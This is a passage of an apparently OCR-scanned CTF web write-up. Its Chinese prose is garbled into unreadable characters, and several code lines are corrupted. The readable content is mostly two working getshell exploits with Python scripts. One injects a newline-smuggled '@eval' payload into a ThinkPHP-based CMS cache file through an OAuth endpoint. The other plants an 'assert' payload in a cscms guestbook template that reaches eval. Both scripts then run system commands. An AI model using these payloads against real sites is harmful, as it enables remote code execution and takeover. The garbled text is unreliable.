SEd%: 2019 #RMIAE final Web Writeup

Systemino 0 F 2019-06-17 21:03:48 KA o 740 ﬁ WesE

1]

hnfl

SRMIPR L T AT HIAE W happy kR R, BEXFMFEHEEARE, FHKE T webKAD, XFhcmsi0/1dayf
FHRAEREWE, MEMOCHEET, BRuaHE T .

LT EILH3Bweb, 2 HIR1EHELE0/1day, 2i&EcmsE] & getshell10/1day, 1B & LaravelHE42 T 7] LA B 4H
RCVE, TRARXEAERE, RotrHAs24cms.

yxtemf
EREE

EFIXEBA, REZBETHRLER, TR IZemsE —A Llthinkphp+bootstrap IHE 4T FF . 7T PAFE AR
AtEthinkemf E3#E4T B Z kP K. [FIRS T ## 22 thinkphp3.2.3:

const THINK_VERSION = '3.2.3%;
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yxtedu/Core/Library/Think/Cache/Driver/File.class.php
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private function filename($name) {
$name=md5 (C( 'DATA_CACHE_KEY').$name);
if(C('DATA_CACHE_SUBDIR')) {
// ERATHEX
$dir ='";
for($i=0;%$i<C('DATA_PATH_LEVEL');$i++) {
$dir.=$name{$i}."'/";
}
if(!is_dir($this->options['temp'].$dir)) {
mkdir($this->options['temp'].$dir,0755,true);
}
$filename=$dir.$this->options[ 'prefix'].$name.".php’;
}else{
$filename=$this->options['prefix'].$name.".php’;
}

return $this->options['temp'].$filename;
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$name=md5(C( 'DATA_CACHE_KEY"').$name);
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\nvar_dump($_GET[a]);
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application/Common/Common/function.php
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header("Location: ../index.php?g=admin&m=public&a=login".$upw );
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application/Api/Controller/OauthController.class.php
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function injectionAuthocode(){
$postdata=I('post."');
$configs["authoCode" ]=$postdata[ 'authoCode’];
sp_set_dynamic_config($configs);
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index.php?g=api&m=oauth&a=injectionAuthocode
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import requests
import urllib
host="http://192.168.43.85/"
url=host+'index.php?g=api&m=oauth&a=injectionAuthocode’
data = {

"authoCode' : "\nvar_dump($_GET[a]); @eval($_GET[a]);#'
}
r = requests.post(url=url,data=data)
url = host+'data/runtime/Temp/ed182ead@631e95e68e008bcld3af012.php’
data = {

'a':"system(\"1s\");"

}

r = requests.post(url=url,params=data)
print r.content
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upload/cscms/app/models/Csskins.php
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public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);

$str=str_replace($php, $newsphp,$str);
return $str;

}
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preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/"',$str,$php_arr);

if(lempty($php_arr[e])){

for($i=0;%i<count($php_arr[0]);$i++){
$str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);

}

}
unset($php_arr);
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http://192.168.43.85/upload/index.php/gbook
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{cscmsphp}assert($_GET[sky]);{/cscmsphp}
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import requests
import urllib
host="http://192.168.43.85/"
url=host+'upload/index.php/gbook/1lists/1"'
data = {

"sky':r"system('ls");"
}
r = requests.get(url=url,params=data)
print r.content
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